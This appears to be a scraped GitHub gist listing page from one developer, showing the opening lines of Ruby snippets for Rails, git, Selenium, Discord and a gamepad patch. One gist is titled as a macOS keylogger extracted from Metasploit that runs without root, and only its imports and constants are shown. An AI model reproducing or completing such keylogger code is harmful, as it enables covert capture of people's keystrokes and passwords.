Skip to content

Instantly share code, notes, and snippets.

gem 'rails', github: 'rails/rails'
require 'active_record'
`dropdb bug_1; createdb bug_1`
ActiveRecord::Base.establish_connection(
adapter: 'postgresql',
database: 'bug_1',
host: 'localhost',
@localhostdotdev
localhostdotdev / relative-past-time.rb
Last active February 24, 2019 22:33
Get relative time in the past (with a shorter output option)
class RelativeTime
MINUTE = 60
HOUR = 60 * MINUTE
DAY = 24 * HOUR
WEEK = 7 * DAY
MONTH = 4 * WEEK
YEAR = 12 * MONTH
def self.for(date_to, date_from = Time.zone.now, short: false)
diff = (date_from.to_time - date_to.to_time).round
@localhostdotdev
localhostdotdev / gittree.md
Created February 25, 2019 13:13
Like `tree` but takes into account the `.gitignore` file

Made a working one with only ruby and git as a dependency:

One liner to type in irb:

def format(file); split = file.split('/'); return file unless split.size > 1; "│  " * (split.size - 2) + "└── " + split.last; end; def list(dir, start: true); puts dir if start; `git ls-tree master "#{dir}" --name-only`.split("\n").sort.each { |line| split = line.split('/'); puts format(line); list(line + '/', start: false) if File.directory?(line)  }; end; list('.')

And as a more proper script:

@localhostdotdev
localhostdotdev / macos-keylogger.rb
Last active February 25, 2019 15:07
Ruby macOS/OXS keylogger. Doesn't require root, just to be ran as a normal user. Extracted from metasploit. https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb
require 'thread'
require 'fiddle'
require 'fiddle/import'
SM_KCHR_CACHE = 38
SM_CURRENT_SCRIPT = -2
MAX_APP_NAME = 80
module Carbon
extend Fiddle::Importer
@localhostdotdev
localhostdotdev / 20.json
Last active July 22, 2019 20:48
Twitter datacenters by id, located by tweets around with the corresponding ids, best viewed on Github Desktop version (not on mobile's github). Each file name is a datacenter id, the points on the map are the different users who used that datacenter
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@localhostdotdev
localhostdotdev / managing-windows-selenium-capybara.md
Last active March 1, 2019 00:58
Managing windows with Selenium / Capybara in Ruby

Capybara 3.13.2 / Ruby 2.5.0 / selenium-webdriver (3.141.0) / chromedriver-helper (2.1.0) / ChromeDriver 2.34.522932

Setup

require 'selenium-webdriver'
require 'capybara/dsl'

class C
 extend Capybara::DSL
From d014d5aea90694868859755f321c41f398bdd55c Mon Sep 17 00:00:00 2001
From: Matt Reynolds <[email protected]>
Date: Wed, 13 Mar 2019 17:47:00 -0700
Subject: [PATCH] Improve support for Nintendo Switch gamepads
This adds support for Nintendo Switch controllers through Gamepad API:
* Switch Pro (USB and Bluetooth)
* Joy-Con L (Bluetooth)
* Joy-Con R (Bluetooth)
* Joy-Con L+R (Bluetooth)
@localhostdotdev
localhostdotdev / commands.rb
Created March 17, 2019 00:29
Handle errors in all Discord commands with discordrb (also formats those errors while only keeping the path in the stacktrace relative to the project's root) (only Rails.root is Rails-specific, rest is pure ruby)
module Discord
module Commands
extend Discordrb::Commands::CommandContainer
def self.handle_errors(e)
if e.is_a?(Discordrb::Errors::MessageTooLong)
"Message too long"
else
str = "#{Format.inline(e.message}\n"
str += Format.code(e.backtrace.grep(/#{Rails.root.to_s}/).map { |s| s.gsub(Rails.root.to_s, "") }.join("\n"))
@localhostdotdev
localhostdotdev / format.rb
Created March 17, 2019 00:31
Formats your strings for discord messages (with fixes around their buggy markdown) #discord #discordrb #ruby
class Format
ZERO_WIDTH = "​"
def self.i(str)
"_#{str}_"
end
def self.b(str)
"**#{str}**"
end